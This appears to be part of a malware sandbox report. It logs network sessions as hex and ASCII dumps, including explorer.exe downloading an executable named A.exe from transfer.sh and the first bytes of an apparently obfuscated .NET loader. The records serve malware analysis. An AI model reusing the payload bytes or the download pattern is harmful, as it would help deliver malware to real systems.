2021-12-28 04:19:03 UTC	401	IN	Data Raw: 00 52 00 73 00 2b 00 41 00 5a 00 4a 00 66 00 78 00 78 00 52 00 39 00 4b 00 64 00 78 00 6d 00 66 00 45 00 30 00 4a 00 74 00 56 00 4f 00 51 00 35 00 4b 00 75 00 4d 00 62 00 5a 00 72 00 64 00 36 00 64 00 41 00 48 00 6b 00 6a 00 39 00 55 00 68 00 62 00 2b 00 7a 00 78 00 30 00 55 00 37 00 55 00 38 00 6d 00 54 00 77 00 59 00 2f 00 6b 00 77 00 57 00 45 00 2b 00 75 00 6d 00 67 00 4d 00 74 00 52 00 6e 00 75 00 51 00 63 00 71 00 74 00 5a 00 76 00 4b 00 67 00 74 00 48 00 6a 00 53 00 61 00 38 00 4d 00 51 00 4b 00 73 00 4b 00 53 00 44 00 33 00 4c 00 56 00 37 00 69 00 49 00 77 00 44 00 68 00 32 00 45 00 74 00 38 00 65 00 43 00 69 00 44 00 39 00 64 00 6e 00 64 00 6b 00 72 00 37 00 65 00 4c 00 4f 00 77 00 2b 00 54 00 31 00 47 00 66 00 55 00 63 00 6e 00 32 00 72 00 4d 00 Data Ascii: Rs+AZJfxxR9KdxmfE0JtVOQ5KuMbZrd6dAHkj9Uhb+zx0U7U8mTwY/kwWE+umgMtRnuQcqtZvKgtHjSa8MQKsKSD3LV7iIwDh2Et8eCiD9dndkr7eLOw+T1GfUcn2rM
2021-12-28 04:19:03 UTC	417	IN	Data Raw: 00 73 00 58 00 78 00 47 00 32 00 2b 00 44 00 44 00 46 00 6f 00 4a 00 70 00 79 00 63 00 78 00 50 00 78 00 52 00 4e 00 62 00 42 00 64 00 45 00 48 00 6c 00 2f 00 42 00 78 00 58 00 4f 00 7a 00 57 00 63 00 6d 00 65 00 78 00 68 00 61 00 6d 00 76 00 44 00 78 00 71 00 4e 00 6f 00 4c 00 53 00 44 00 31 00 52 00 5a 00 64 00 63 00 62 00 49 00 70 00 6c 00 79 00 4a 00 44 00 66 00 56 00 6d 00 6a 00 64 00 6b 00 6f 00 56 00 36 00 4f 00 50 00 2f 00 45 00 65 00 41 00 4a 00 76 00 32 00 4c 00 63 00 32 00 6e 00 42 00 79 00 67 00 5a 00 4d 00 64 00 74 00 66 00 4c 00 63 00 62 00 76 00 6e 00 34 00 50 00 7a 00 5a 00 78 00 62 00 72 00 6f 00 2b 00 47 00 39 00 55 00 46 00 54 00 6e 00 61 00 6d 00 65 00 6b 00 35 00 56 00 63 00 76 00 2b 00 6e 00 67 00 72 00 73 00 54 00 47 00 77 00 62 00 Data Ascii: sXxG2+DDFoJpycxPxRNbBdEHl/BxXOzWcmexhamvDxqNoLSD1RZdcbIplyJDfVmjdkoV6OP/EeAJv2Lc2nBygZMdtfLcbvn4PzZxbro+G9UFTnamek5Vcv+ngrsTGwb
2021-12-28 04:19:03 UTC	433	IN	Data Raw: 00 48 00 43 00 69 00 50 00 4a 00 74 00 53 00 79 00 54 00 70 00 6e 00 6a 00 45 00 62 00 30 00 45 00 67 00 61 00 58 00 36 00 44 00 48 00 76 00 36 00 39 00 72 00 7a 00 2b 00 44 00 48 00 77 00 30 00 30 00 39 00 4a 00 71 00 65 00 63 00 6a 00 77 00 34 00 42 00 75 00 48 00 73 00 4f 00 6f 00 32 00 73 00 46 00 51 00 30 00 5a 00 61 00 67 00 77 00 75 00 59 00 55 00 63 00 79 00 63 00 52 00 44 00 65 00 31 00 41 00 31 00 46 00 6b 00 51 00 69 00 4b 00 35 00 33 00 4b 00 33 00 4f 00 53 00 45 00 59 00 70 00 37 00 6b 00 50 00 43 00 30 00 54 00 4d 00 55 00 4c 00 31 00 30 00 66 00 48 00 71 00 54 00 4a 00 78 00 67 00 33 00 5a 00 48 00 2b 00 4d 00 6c 00 6a 00 39 00 43 00 6c 00 72 00 57 00 6e 00 38 00 67 00 6d 00 65 00 78 00 66 00 72 00 52 00 56 00 7a 00 68 00 49 00 32 00 6a 00 Data Ascii: HCiPJtSyTpnjEb0EgaX6DHv69rz+DHw009Jqecjw4BuHsOo2sFQ0ZagwuYUcycRDe1A1FkQiK53K3OSEYp7kPC0TMUL10fHqTJxg3ZH+Mlj9ClrWn8gmexfrRVzhI2j
2021-12-28 04:19:03 UTC	449	IN	Data Raw: 00 66 00 2b 00 64 00 5a 00 45 00 31 00 37 00 6d 00 32 00 42 00 31 00 7a 00 35 00 49 00 31 00 4c 00 4d 00 65 00 73 00 4b 00 71 00 39 00 42 00 51 00 73 00 37 00 65 00 55 00 72 00 42 00 67 00 78 00 50 00 6c 00 59 00 2b 00 66 00 4f 00 47 00 42 00 44 00 49 00 33 00 31 00 4f 00 46 00 4d 00 73 00 33 00 69 00 62 00 6a 00 57 00 66 00 30 00 67 00 62 00 48 00 46 00 74 00 2f 00 38 00 72 00 49 00 71 00 49 00 69 00 37 00 56 00 73 00 45 00 56 00 50 00 63 00 74 00 73 00 44 00 58 00 48 00 30 00 44 00 42 00 46 00 36 00 57 00 6f 00 7a 00 44 00 47 00 6c 00 58 00 34 00 76 00 31 00 5a 00 75 00 44 00 46 00 46 00 71 00 76 00 5a 00 59 00 65 00 51 00 41 00 62 00 77 00 74 00 37 00 6b 00 32 00 52 00 7a 00 63 00 76 00 74 00 79 00 6f 00 44 00 4c 00 38 00 41 00 71 00 4c 00 48 00 30 00 Data Ascii: f+dZE17m2B1z5I1LMesKq9BQs7eUrBgxPlY+fOGBDI31OFMs3ibjWf0gbHFt/8rIqIi7VsEVPctsDXH0DBF6WozDGlX4v1ZuDFFqvZYeQAbwt7k2RzcvtyoDL8AqLH0
2021-12-28 04:19:03 UTC	464	IN	Data Raw: 77 00 50 00 5a 00 36 00 6c 00 49 00 34 00 4a 00 42 00 45 00 4f 00 4b 00 41 00 43 00 77 00 52 00 59 00 58 00 61 00 72 00 34 00 54 00 6a 00 55 00 6b 00 36 00 41 00 65 00 6d 00 50 00 5a 00 69 00 6a 00 5a 00 4b 00 36 00 44 00 62 00 46 00 78 00 2f 00 61 00 4d 00 76 00 32 00 50 00 77 00 74 00 46 00 74 00 52 00 66 00 71 00 74 00 6a 00 39 00 69 00 76 00 4a 00 4e 00 6a 00 44 00 2b 00 2f 00 56 00 66 00 2f 00 4a 00 6e 00 66 00 4b 00 6c 00 45 00 30 00 32 00 67 00 38 00 61 00 64 00 76 00 62 00 65 00 73 00 59 00 49 00 43 00 4d 00 62 00 36 00 46 00 4b 00 64 00 44 00 51 00 39 00 72 00 58 00 35 00 49 00 69 00 33 00 38 00 50 00 63 00 34 00 79 00 44 00 6d 00 31 00 72 00 52 00 79 00 52 00 48 00 47 00 4d 00 66 00 55 00 33 00 52 00 36 00 69 00 39 00 62 00 50 00 4e 00 4a 00 67 Data Ascii: wPZ6lI4JBEOKACwRYXar4TjUk6AemPZijZK6DbFx/aMv2PwtFtRfqtj9ivJNjD+/Vf/JnfKlE02g8advbesYICMb6FKdDQ9rX5Ii38Pc4yDm1rRyRHGMfU3R6i9bPNJg
2021-12-28 04:19:03 UTC	480	IN	Data Raw: 61 00 74 00 37 00 51 00 4a 00 45 00 6f 00 30 00 37 00 71 00 76 00 4d 00 72 00 30 00 4a 00 78 00 41 00 2b 00 63 00 43 00 68 00 67 00 33 00 30 00 61 00 6b 00 6f 00 45 00 70 00 45 00 59 00 6c 00 46 00 47 00 6d 00 7a 00 77 00 59 00 6c 00 52 00 54 00 75 00 4c 00 5a 00 68 00 63 00 39 00 36 00 73 00 4f 00 67 00 53 00 78 00 55 00 2f 00 68 00 37 00 30 00 45 00 31 00 5a 00 78 00 63 00 62 00 66 00 4d 00 36 00 7a 00 64 00 71 00 62 00 63 00 49 00 4a 00 66 00 70 00 32 00 77 00 2b 00 57 00 30 00 6c 00 61 00 79 00 35 00 71 00 36 00 56 00 6b 00 43 00 2b 00 39 00 2b 00 41 00 49 00 4c 00 49 00 75 00 68 00 68 00 4d 00 48 00 70 00 44 00 68 00 6b 00 31 00 50 00 62 00 30 00 66 00 4b 00 54 00 47 00 66 00 64 00 32 00 6b 00 4e 00 62 00 71 00 32 00 6c 00 33 00 7a 00 36 00 6c 00 48 Data Ascii: at7QJEo07qvMr0JxA+cChg30akoEpEYlFGmzwYlRTuLZhc96sOgSxU/h70E1ZxcbfM6zdqbcIJfp2w+W0lay5q6VkC+9+AILIuhhMHpDhk1Pb0fKTGfd2kNbq2l3z6lH
2021-12-28 04:19:03 UTC	496	IN	Data Raw: 75 00 73 00 57 00 6a 00 57 00 2f 00 71 00 34 00 50 00 4e 00 34 00 69 00 4b 00 77 00 30 00 4b 00 44 00 37 00 63 00 6d 00 74 00 31 00 49 00 47 00 4d 00 47 00 42 00 54 00 62 00 77 00 61 00 34 00 49 00 56 00 39 00 6d 00 32 00 63 00 46 00 45 00 58 00 73 00 51 00 41 00 39 00 67 00 54 00 49 00 2f 00 78 00 66 00 4f 00 59 00 38 00 70 00 53 00 75 00 45 00 67 00 54 00 6e 00 48 00 76 00 45 00 70 00 51 00 42 00 47 00 6e 00 52 00 33 00 6b 00 68 00 2b 00 48 00 75 00 61 00 57 00 4d 00 30 00 64 00 49 00 72 00 30 00 46 00 31 00 35 00 70 00 78 00 48 00 32 00 77 00 77 00 79 00 58 00 39 00 48 00 78 00 4a 00 4d 00 65 00 50 00 4d 00 61 00 79 00 54 00 67 00 68 00 4d 00 4f 00 43 00 6f 00 36 00 37 00 70 00 32 00 53 00 63 00 73 00 42 00 39 00 7a 00 2f 00 61 00 6a 00 48 00 30 00 72 Data Ascii: usWjW/q4PN4iKw0KD7cmt1IGMGBTbwa4IV9m2cFEXsQA9gTI/xfOY8pSuEgTnHvEpQBGnR3kh+HuaWM0dIr0F15pxH2wwyX9HxJMePMayTghMOCo67p2ScsB9z/ajH0r
2021-12-28 04:19:03 UTC	512	IN	Data Raw: 69 00 6b 00 2f 00 56 00 7a 00 64 00 61 00 31 00 6e 00 65 00 77 00 43 00 4f 00 51 00 47 00 6e 00 50 00 44 00 4a 00 6d 00 75 00 33 00 53 00 73 00 57 00 6e 00 65 00 72 00 2f 00 6f 00 6c 00 65 00 51 00 46 00 30 00 31 00 66 00 48 00 61 00 77 00 4e 00 5a 00 57 00 30 00 2f 00 32 00 72 00 71 00 38 00 52 00 77 00 52 00 4a 00 4d 00 34 00 72 00 36 00 59 00 71 00 4e 00 58 00 73 00 6f 00 36 00 37 00 43 00 46 00 32 00 37 00 6a 00 6e 00 58 00 56 00 50 00 4e 00 33 00 4f 00 5a 00 6e 00 79 00 69 00 75 00 75 00 54 00 78 00 70 00 50 00 6c 00 6a 00 4a 00 5a 00 77 00 30 00 33 00 32 00 31 00 4a 00 44 00 65 00 77 00 43 00 6b 00 33 00 51 00 78 00 51 00 6e 00 76 00 68 00 2f 00 68 00 45 00 52 00 74 00 35 00 62 00 6f 00 5a 00 4e 00 4f 00 65 00 6d 00 47 00 4a 00 63 00 71 00 64 00 32 Data Ascii: ik/Vzda1newCOQGnPDJmu3SsWner/oleQF01fHawNZW0/2rq8RwRJM4r6YqNXso67CF27jnXVPN3OZnyiuuTxpPljJZw0321JDewCk3QxQnvh/hERt5boZNOemGJcqd2

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49841	144.76.136.153	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-28 04:19:37 UTC	526	OUT	GET /get/s3SPeb/A.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: transfer.sh
2021-12-28 04:19:38 UTC	526	IN	HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Tue, 28 Dec 2021 04:19:38 GMT Content-Type: application/x-ms-dos-executable Content-Length: 538112 Connection: close Content-Disposition: attachment; filename="A.exe" Retry-After: Tue, 28 Dec 2021 05:19:38 GMT X-Made-With: <3 by DutchCoders X-Ratelimit-Key: 127.0.0.1,102.129.143.96,102.129.143.96 X-Ratelimit-Limit: 10 X-Ratelimit-Rate: 600 X-Ratelimit-Remaining: 9 X-Ratelimit-Reset: 1640665178 X-Remaining-Days: n/a X-Remaining-Downloads: n/a X-Served-By: Proudly served by DutchCoders
2021-12-28 04:19:38 UTC	527	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5d 02 25 8f 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 2e 08 00 00 06 00 00 00 00 00 00 1e 4d 08 00 00 20 00 00 00 60 08 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL]%0.M `@ @
2021-12-28 04:19:38 UTC	542	IN	Data Raw: 11 38 28 f1 00 00 06 11 47 59 13 17 20 95 00 00 00 38 a3 dd ff ff 11 60 11 6a 11 16 16 91 9c 20 97 01 00 00 28 1d 01 00 06 3a 8b dd ff ff 26 20 0c 02 00 00 38 80 dd ff ff 14 13 16 20 61 02 00 00 38 73 dd ff ff fe 0c 6c 00 20 09 00 00 00 20 9f 00 00 00 20 35 00 00 00 59 9c 20 bf 01 00 00 38 54 dd ff ff 11 0a 28 09 01 00 06 13 3c 20 65 00 00 00 28 1d 01 00 06 3a 3c dd ff ff 26 20 4a 02 00 00 38 31 dd ff ff 20 87 00 00 00 20 61 00 00 00 58 fe 0e 3b 00 20 c6 00 00 00 28 1c 01 00 06 3a 13 dd ff ff 26 20 be 00 00 00 38 08 dd ff ff 11 38 28 f1 00 00 06 13 1d 20 d2 00 00 00 28 1d 01 00 06 3a f0 dc ff ff 26 20 ea 01 00 00 38 e5 dc ff ff 16 13 34 20 86 00 00 00 28 1c 01 00 06 39 d3 dc ff ff 26 20 2e 01 00 00 38 c8 dc ff ff fe 0c 6c 00 20 03 00 00 00 20 dd 00 00 00 Data Ascii: 8(GY 8`j (:& 8 a8sl 5Y 8T(< e(:<& J81 aX; (:& 88( (:& 84 (9& .8l
2021-12-28 04:19:38 UTC	558	IN	Data Raw: 3f 00 00 00 38 00 00 00 00 d0 2e 00 00 02 28 01 01 00 06 11 48 28 0e 01 00 06 28 0f 01 00 06 74 2e 00 00 02 80 66 00 00 04 20 01 00 00 00 28 1c 01 00 06 3a bf ff ff ff 26 20 01 00 00 00 38 b4 ff ff ff dd 4c 00 00 00 26 20 00 00 00 00 28 1c 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 23 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd 1a 00 00 00 20 01 00 00 00 28 1d 01 00 06 3a 25 ff ff ff 26 20 01 00 00 00 38 1a ff ff ff dd 2a ae ff ff 20 33 00 00 00 38 16 9d ff ff 11 5a 28 e9 00 00 06 20 3f 02 00 00 38 05 9d ff ff 38 c9 b8 ff ff 20 22 02 00 00 38 f6 9c ff ff 11 72 11 56 1a 5a 1a 12 1b 28 ae 00 00 06 39 90 b4 ff ff 20 71 00 00 00 28 1d 01 00 06 3a d4 9c ff ff 26 20 3a 01 00 00 38 c9 9c ff ff fe 0c 18 00 20 00 00 00 00 fe 0c 3b 00 9c 20 Data Ascii: ?8.(H((t.f (:& 8L& (:& 8#E8 (:%& 8* 38Z( ?88 "8rVZ(9 q(:& :8 ;
2021-12-28 04:19:38 UTC	574	IN	Data Raw: 00 00 38 9a d1 ff ff fe 0c 0b 00 20 02 00 00 00 fe 0c 19 00 9c 20 21 00 00 00 fe 0e 1d 00 38 7a d1 ff ff fe 0c 03 00 20 08 00 00 00 20 67 00 00 00 20 4a 00 00 00 58 9c 20 1d 00 00 00 28 73 01 00 06 39 5a d1 ff ff 26 20 45 00 00 00 38 4f d1 ff ff fe 0c 0b 00 20 02 00 00 00 fe 0c 19 00 9c 20 0c 00 00 00 38 37 d1 ff ff fe 0c 0b 00 20 13 00 00 00 fe 0c 0d 00 9c 20 3e 00 00 00 fe 0e 1d 00 38 17 d1 ff ff 11 24 17 3b aa f7 ff ff 20 89 00 00 00 38 09 d1 ff ff fe 0c 03 00 20 00 00 00 00 20 bf 00 00 00 20 2e 00 00 00 58 9c 20 10 00 00 00 38 ea d0 ff ff 20 0c 00 00 00 20 65 00 00 00 58 fe 0e 19 00 20 fe 00 00 00 38 d1 d0 ff ff 11 15 13 02 20 5f 00 00 00 38 c3 d0 ff ff fe 0c 03 00 20 0b 00 00 00 fe 0c 16 00 9c 20 16 00 00 00 38 ab d0 ff ff fe 0c 0b 00 20 1a 00 00 00 Data Ascii: 8 !8z g JX (s9Z& E8O 87 >8$; 8 .X 8 eX 8 _8 8
2021-12-28 04:19:38 UTC	590	IN	Data Raw: 6c 47 1e 0e 00 4e 71 47 1e 16 00 ad 71 b9 71 06 00 e1 71 9c 2c 06 00 19 73 23 27 06 00 6d 73 87 73 06 00 97 73 5f 00 0a 00 ab 73 2b 00 06 00 bc 73 d9 73 06 00 fd 73 d9 73 06 00 09 74 d9 73 06 00 0d 74 2b 00 06 00 28 74 23 27 06 00 3d 74 36 18 06 00 5f 74 36 18 06 00 71 74 36 18 06 00 79 74 5f 00 00 00 00 00 10 01 00 00 00 00 01 00 01 00 81 01 00 00 19 01 00 00 29 00 01 00 02 00 81 01 00 00 5f 01 00 00 29 00 02 00 06 00 03 01 00 00 82 01 00 00 29 00 03 00 0c 00 81 01 00 00 97 01 00 00 29 00 05 00 11 00 01 00 00 00 ce 01 00 00 29 00 08 00 15 00 83 01 00 00 0c 02 00 00 29 00 0a 00 1d 00 81 01 00 00 13 02 00 00 29 00 0b 00 1e 00 01 00 00 00 3b 02 00 00 29 00 0d 00 27 00 83 01 00 00 0c 02 00 00 29 00 0f 00 2f 00 83 01 00 00 7d 02 00 00 29 00 11 00 30 00 80 01 Data Ascii: lGNqGqqq,s#'msss_s+sssstst+(t#'=t6_t6qt6yt_)_))))));)')/})0
2021-12-28 04:19:38 UTC	606	IN	Data Raw: 02 00 00 00 00 00 00 c6 05 6a 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 75 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 80 42 5c 0f 4a 02 00 00 00 00 00 00 c6 05 8b 42 5c 0f 4a 02 00 00 00 00 00 00 c6 05 96 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 a1 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 ac 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 b7 42 5c 0f 4a 02 00 00 00 00 00 00 c6 05 c2 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 cd 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 d8 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 e3 42 5c 0f 4a 02 00 00 00 00 00 00 c6 05 ee 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 f9 42 56 0f 4a 02 00 00 00 00 00 00 c6 05 04 43 56 0f 4a 02 00 00 00 00 00 00 c6 05 0f 43 56 0f 4a 02 00 00 00 00 00 00 c6 05 1a 43 56 0f 4a 02 00 00 00 00 00 00 c6 05 25 43 56 0f 4a 02 00 00 Data Ascii: jBVJuBVJB\JB\JBVJBVJBVJB\JBVJBVJBVJB\JBVJBVJCVJCVJCVJ%CVJ
2021-12-28 04:19:38 UTC	622	IN	Data Raw: 2a 00 00 02 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 02 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 02 00 87 2a 00 00 01 00 87 2a 00 00 02 00 87 2a 00 00 01 00 87 2a 00 00 02 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 01 00 87 2a 00 00 02 00 87 2a 00 00 01 00 95 50 00 00 02 00 9c 50 00 00 01 00 95 50 00 00 02 00 9c 50 00 00 03 00 90 21 00 00 04 00 4a 21 00 00 01 00 a3 21 00 00 01 00 87 2a 00 00 02 00 87 2a 00 00 01 00 95 50 00 00 01 00 95 50 00 00 02 00 90 21 00 00 03 00 4a 21 00 00 01 00 a3 21 00 00 01 00 87 2a 00 00 02 00 87 2a 00 00 Data Ascii: *************************PPPP!J!!PP!J!!**
2021-12-28 04:19:38 UTC	638	IN	Data Raw: 52 65 61 64 65 72 00 67 65 74 5f 42 61 73 65 53 74 72 65 61 6d 00 73 65 74 5f 50 6f 73 69 74 69 6f 6e 00 52 65 61 64 55 49 6e 74 33 32 00 75 75 35 6c 30 50 71 44 58 00 50 61 72 61 6d 65 74 65 72 49 6e 66 6f 00 44 79 6e 61 6d 69 63 4d 65 74 68 6f 64 00 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 45 6d 69 74 00 49 4c 47 65 6e 65 72 61 74 6f 72 00 4d 6f 6e 69 74 6f 72 00 53 79 73 74 65 6d 2e 54 68 72 65 61 64 69 6e 67 00 45 6e 74 65 72 00 47 65 74 4d 61 6e 69 66 65 73 74 52 65 73 6f 75 72 63 65 53 74 72 65 61 6d 00 67 65 74 5f 4c 65 6e 67 74 68 00 52 65 61 64 42 79 74 65 73 00 43 6c 6f 73 65 00 41 64 64 00 45 78 69 74 00 47 65 74 46 69 65 6c 64 73 00 42 69 6e 64 69 6e 67 46 6c 61 67 73 00 4d 65 6d 62 65 72 49 6e 66 6f 00 67 65 74 5f 4d 65 74 61 64 Data Ascii: Readerget_BaseStreamset_PositionReadUInt32uu5l0PqDXParameterInfoDynamicMethodSystem.Reflection.EmitILGeneratorMonitorSystem.ThreadingEnterGetManifestResourceStreamget_LengthReadBytesCloseAddExitGetFieldsBindingFlagsMemberInfoget_Metad
2021-12-28 04:19:38 UTC	654	IN	Data Raw: 70 6b 77 00 69 77 4b 75 47 49 6e 6a 65 00 51 4f 45 4a 75 55 75 66 4a 00 48 54 4e 35 4e 42 63 46 6c 00 59 34 38 30 62 6f 66 49 77 00 51 72 53 31 53 55 6e 59 51 50 00 6e 64 31 58 57 55 68 38 73 00 76 58 32 56 48 62 48 4b 62 00 43 53 68 61 72 70 41 72 67 75 6d 65 6e 74 49 6e 66 6f 46 6c 61 67 73 00 6d 51 78 39 6c 4d 38 4b 58 00 4a 51 54 43 6e 5a 68 4c 6e 00 44 35 41 62 6a 45 70 68 55 56 00 4c 6d 50 62 77 6e 31 4f 71 56 00 62 6c 74 62 49 62 42 65 42 59 00 4a 77 66 62 64 31 68 6d 43 30 00 57 50 71 62 51 67 50 6f 34 33 00 43 58 46 77 53 36 5a 50 58 51 00 78 30 48 62 67 57 58 6a 53 72 00 52 54 4f 62 70 4b 52 33 6a 47 00 58 63 76 62 37 35 64 49 47 59 00 45 46 79 62 36 61 79 4a 76 43 00 6c 45 58 62 59 6d 78 56 37 5a 00 65 65 6e 62 6c 34 38 33 43 36 00 4c 32 34 62 Data Ascii: pkwiwKuGInjeQOEJuUufJHTN5NBcFlY480bofIwQrS1SUnYQPnd1XWUh8svX2VHbHKbCSharpArgumentInfoFlagsmQx9lM8KXJQTCnZhLnD5AbjEphUVLmPbwn1OqVbltbIbBeBYJwfbd1hmC0WPqbQgPo43CXFwS6ZPXQx0HbgWXjSrRTObpKR3jGXcvb75dIGYEFyb6ayJvClEXbYmxV7Zeenbl483C6L24b
2021-12-28 04:19:38 UTC	670	IN	Data Raw: f5 f3 66 43 c2 f8 00 e9 61 b3 a3 70 85 40 4c 68 71 bd e7 c6 9b 57 83 02 71 e1 65 d6 86 d1 2b b8 62 be ad 23 fe ce 14 0b 86 7d 62 28 b7 bd dc d9 25 21 31 85 7e 3b 1e c4 78 3a bf ac 07 bf 2a cf 06 7e da f6 61 04 7d f4 c6 5b 3f 6a 96 e7 4b 93 1b 04 97 55 ca 7c 75 79 c4 a4 4d f4 0b 70 c1 ed 37 09 36 c1 9f 19 4a c9 9b ec 41 0d 5d 8e 4d a5 0a ac 2e 16 a0 06 68 a0 3c bc 98 40 79 da 37 f1 f1 3a a4 86 81 92 0e 97 fd ca 6a 29 d8 78 f6 13 7f 82 c5 06 fe 48 70 cc 4e 95 4d c9 60 23 75 73 43 5d 5b ac 34 9b d4 ee 31 37 24 66 51 55 1b 0f 12 a3 e6 36 8d 84 18 a8 1b 45 a1 77 18 7d f4 55 df eb 80 b4 fa e9 16 9c a2 fe 47 4c 2a b3 f4 00 0b 56 6a 0a d7 04 5f ff a6 9b e5 c8 ec f1 b1 b7 55 f3 b9 24 e6 e4 6e 8b 93 92 6d 38 97 c5 b4 ff 2c 3e e3 0c d2 f6 ec f5 d4 a5 62 95 b2 e6 ac Data Ascii: fCap@LhqWqe+b#}b(%!1~;x:~a}[?jKU\|uyMp76JA]M.h<@y7:j)xHpNM`#usC][417$fQU6Ew}UGLVj_U$nm8,>b
2021-12-28 04:19:38 UTC	686	IN	Data Raw: 4f 9d 20 a6 5c e9 c7 9c 9e e3 f6 1d 0d 00 ff 31 5f 9c d8 76 74 bb d9 52 5f 32 fb 0f 51 93 2a 8d 30 bd 2d 7f f3 a5 57 a5 0f f1 4e c9 e9 da 01 de 28 42 f3 df 84 58 c9 28 4d f8 47 4a cf 72 16 6e a2 de 18 2c bc 71 d7 b3 65 1d f7 3b 2f ec 15 2a 1e 57 d9 96 63 b6 a2 8e e4 e2 ab e3 a3 e6 ca 06 d2 1c 69 04 5a 52 36 39 19 b6 ae aa 76 43 58 e4 64 d9 de 63 30 cb 4c 60 49 ba 14 96 59 ee 50 50 0e 6d 8b 01 02 8e 63 cb 7b 03 90 95 cc 2e 87 3b 7f 65 fe 0d 65 c6 36 26 9b f1 b8 0c d7 db 02 d0 9f 30 36 d2 00 63 c4 30 fc 8e 55 ed 8e bd 81 02 04 46 ed 15 05 c6 d9 97 18 a7 f9 70 51 2f d2 8e a4 8c 0a 0d 39 4b 2a 12 23 e3 b0 87 72 d5 a3 f6 2d bd 71 37 09 6c 11 74 bc e2 cc 08 ad 91 9f 13 85 ce e6 5a f1 00 86 01 72 23 f8 b1 02 9d a4 40 e8 e4 3e 3a 58 cb 54 78 12 73 14 f8 e8 ef bd Data Ascii: O \1_vtR_2Q0-WN(BX(MGJrn,qe;/WciZR69vCXdc0L`IYPPmc{.;ee6&06c0UFpQ/9K*#r-q7ltZr#@>:XTxs
2021-12-28 04:19:38 UTC	702	IN	Data Raw: 34 5a 78 22 f0 3b 13 34 2e 86 6b 91 8a b5 9d b5 89 28 02 4a 80 80 b0 2a dc 09 ef 05 1a 35 8d 96 36 71 95 bc bc 13 ab 52 1b 54 c5 83 a1 12 cb a2 61 d8 e2 6a 98 53 8e e7 05 08 58 6c bf 93 9e 20 65 58 27 8a 8f 1f 48 0b ec b7 f9 6a 3b a0 0f 40 14 97 aa 31 e4 82 9d be f5 57 69 c1 38 49 f9 3e a9 d1 6b 64 30 a7 16 3f 38 90 fd 76 25 56 88 7e d9 fc 8c 2e c6 f1 4b 82 19 a4 e8 aa 94 a7 36 e6 39 b6 91 f8 2f 94 fa b4 91 e4 0e 7f c0 65 7c 1a 43 69 31 cb 5f 11 51 88 f0 a0 3d 8b e3 2f 6d 70 a4 ac bf c5 b0 a6 db 9b 95 d7 29 d2 a3 e8 3b 0f 33 0c ef c4 94 a3 cc d3 34 fd da 4b 02 cd 98 0b d3 10 70 df f5 1a a2 6c ef da 78 9a 99 27 ee 88 b9 64 96 b9 52 b2 28 a2 a4 f6 35 c4 3b f5 01 3d 86 e6 c6 96 fe c9 5e 65 6e 5a 77 37 f4 59 1b 2a a5 70 4a 15 cd 43 36 ea 18 49 6d 80 35 5d 08 Data Ascii: 4Zx";4.k(J56qRTajSXl eX'Hj;@1Wi8I>kd0?8v%V~.K69/e\|Ci1_Q=/mp);34Kplx'dR(5;=^enZw7YpJC6Im5]
2021-12-28 04:19:38 UTC	718	IN	Data Raw: 0f 09 c9 aa 54 f7 b6 6c 7f bb 33 e1 fe e0 90 c5 13 07 37 e9 65 d4 60 f6 f7 37 b7 9e a5 2f 70 49 1b ce db 50 fd 88 30 b7 fd 0f 89 4c 8d 1a 18 c4 0a 2a 5e d3 de 5a ad 39 a3 2c 50 39 4f d9 80 6c 1b 91 4c 7f 3d fc 7d 08 bb fe ed 5f b0 56 c7 95 be 27 6e 6f 5c 8d 59 a5 4c 44 70 e8 ed 0a 12 81 a6 e8 1e ef 43 69 51 f0 e7 79 15 33 9b 5b d9 cd 72 ec 21 02 95 50 69 6d c6 0b b8 ff 90 59 04 12 82 37 e0 ea c8 3d 83 f0 17 07 e2 c9 db 62 cd 22 dd 80 65 f8 a9 19 61 b0 33 22 9b 1e e4 e2 c6 93 26 2e 46 f1 10 2b ab 8c b9 34 6a c6 85 23 c8 47 f0 41 43 f4 d4 02 3f b9 41 19 bd 59 ae b6 d7 87 4f 0c 2a 27 6a d7 4d 8a 2d 3c 36 a9 cd 0a a2 46 c0 21 3c 44 4e 28 3c 1d 36 eb 55 ca 7c 